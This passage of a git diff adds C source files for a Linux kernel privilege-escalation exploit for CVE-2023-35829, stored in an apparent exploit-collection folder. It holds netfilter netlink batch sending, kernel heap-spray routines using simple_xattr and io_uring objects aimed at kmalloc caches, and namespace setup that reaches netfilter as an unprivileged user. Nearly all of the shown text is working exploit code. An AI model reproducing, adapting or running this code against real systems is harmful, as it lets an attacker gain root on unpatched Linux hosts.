+
+ /* Last netlink message: End of batch */
+ nlh_batch_end = get_batch_end_nlmsg();
+
+ /* Setup the iovec */
+ memset(iov, 0, sizeof(struct iovec) * 3);
+ iov[0].iov_base = (void *)nlh_batch_begin;
+ iov[0].iov_len = nlh_batch_begin->nlmsg_len;
+ iov[1].iov_base = (void *)nlh_payload;
+ iov[1].iov_len = nlh_payload->nlmsg_len;
+ iov[2].iov_base = (void *)nlh_batch_end;
+ iov[2].iov_len = nlh_batch_end->nlmsg_len;
+
+ /* Prepare the message to send */
+ memset(&msg, 0, sizeof(struct msghdr));
+ msg.msg_name = (void *)&dest_snl;
+ msg.msg_namelen = sizeof(struct sockaddr_nl);
+ msg.msg_iov = iov;
+ msg.msg_iovlen = 3;
+
+ /* Send message */
+ sendmsg(sock, &msg, 0);
+
+ /* Free allocated memory */
+ free(nlh_batch_end);
+ free(nlh_payload);
+ free(nlh_batch_begin);
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/simple_xattr.c b/98-Linux提权/CVE-2023-35829/src/simple_xattr.c
new file mode 100644
index 0000000..1c4f0e1
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/simple_xattr.c
@@ -0,0 +1,50 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include "log.h"
+#include "simple_xattr.h"
+
+/**
+ * spray_simple_xattr(): Spray the heap with `simple_xattr` objects
+ * @spray_size: Number of objects to put into `kmalloc-64`
+ */
+void spray_simple_xattr(char *filename, uint32_t spray_size) {
+
+ char attribute_name[ATTRIBUTE_NAME_LEN];
+
+ /* Mount a new tmpfs to be able to set security xattr */
+ if (mkdir("/tmp/tmpfs", S_IRWXU) == -1 && errno != EEXIST)
+ do_error_exit("mkdir");
+
+ if (mount(NULL, "/tmp/tmpfs", "tmpfs", 0, NULL) == -1)
+ {
+ do_error_exit("mount");
+ }
+ /* Create a file to the set attributes */
+ int fd = creat(filename, 0644);
+ close(fd);
+
+ for (uint64_t i = 0; i < spray_size; i++) {
+ /* Need that the name is allocated within `kmalloc-256` */
+ snprintf(attribute_name, ATTRIBUTE_NAME_LEN, "security.attr%215lu-%s", i, XATTR_DELETION_NAME);
+ create_xattr(filename, attribute_name);
+ }
+}
+
+/**
+ * create_xattr(): Add an xattribute to a file with the value "value"
+ * @filename: Name of the concerned file
+ * @attribute_name: Attribute name
+ */
+void create_xattr(const char *filename, char *attribute_name) {
+
+ if (setxattr(filename, attribute_name, XATTR_VALUE, strlen(XATTR_VALUE), XATTR_CREATE) < 0)
+ do_error_exit("setxattr");
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/uring.c b/98-Linux提权/CVE-2023-35829/src/uring.c
new file mode 100644
index 0000000..1f8e3d6
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/uring.c
@@ -0,0 +1,46 @@
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "uring.h"
+#include "log.h"
+#include "util.h"
+
+/**
+ * spray_uring(): Spray different caches of the kernel heap
+ * @spray_size: Size to spray
+ * @fd_buffer: Buffer used to store information about the allocated objects
+ *
+ * This spray is mainly used to spray the cache `kmalloc-64` with `percpu_ref_data` objects
+ */
+void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) {
+
+ for (uint64_t i = 0; i < spray_size; i++) {
+
+ fd_buffer[i].params = malloc(sizeof(struct io_uring_params));
+ if (!fd_buffer[i].params)
+ do_error_exit("malloc");
+ memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params));
+
+ fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params);
+ if (fd_buffer[i].fd < 0)
+ do_error_exit("io_uring_create");
+
+ }
+}
+
+/**
+ * release_uring(): Release percpu_ref_data objects allocated
+ * @fd_buffer: Buffer that stores io_ring_ctx fds
+ * @buffer_size: Size of the previous buffer
+ */
+void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) {
+
+ for (uint32_t i = 0; i < buffer_size; i++) {
+ close(fd_buffer[i].fd);
+ }
+ free(fd_buffer);
+}
diff --git a/98-Linux提权/CVE-2023-35829/src/util.c b/98-Linux提权/CVE-2023-35829/src/util.c
new file mode 100644
index 0000000..2cee577
--- /dev/null
+++ b/98-Linux提权/CVE-2023-35829/src/util.c
@@ -0,0 +1,80 @@
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include "log.h"
+#include "util.h"
+
+/**
+ * write_file(): Write a string into a file
+ * @filename: File to write
+ * @text: Text to write
+ */
+void write_file(const char *filename, char *text) {
+
+ int fd = open(filename, O_RDWR);
+
+ write(fd, text, strlen(text));
+ close(fd);
+}
+
+/**
+ * new_ns(): Change the current namespace to access to netfilter and
+ * to be able to write security xattr in a tmpfs
+ */
+void new_ns(void) {
+
+ uid_t uid = getuid();
+ gid_t gid = getgid();
+ char buffer[0x100];
+
+ if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
+ do_error_exit("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
+
+ if (unshare(CLONE_NEWNET))
+ do_error_exit("unshare(CLONE_NEWNET)");
+
+ write_file("/proc/self/setgroups", "deny");
+
+ snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
+ write_file("/proc/self/uid_map", buffer);
+ snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
+ write_file("/proc/self/gid_map", buffer);
+}
+
+/**
+ * set_cpu_affinity(): Pin a process to a CPU
+ * @cpu_n: CPU to use
+ * @pid: pid of the process to attach
+ */
+void set_cpu_affinity(int cpu_n, pid_t pid) {
+ cpu_set_t set;
+
+ CPU_ZERO(&set);
+ CPU_SET(cpu_n, &set);
+
+ if (sched_setaffinity(pid, sizeof(set), &set) < 0)
+ do_error_exit("sched_setaffinity");
+}
+
+/**
+ * generate_tmp_filename(): Generate a filename to be used with
+ * the xattr spray
+ *
+ * Return: New generated filename
+ */
+char *generate_tmp_filename(void) {
+ static char buffer[FILENAME_MAX_LEN];
+ static uint64_t counter = 0;
+
+ snprintf(buffer, FILENAME_MAX_LEN, "/tmp/tmpfs/file%lu", counter);
+ counter++;
+
+ return buffer;
+}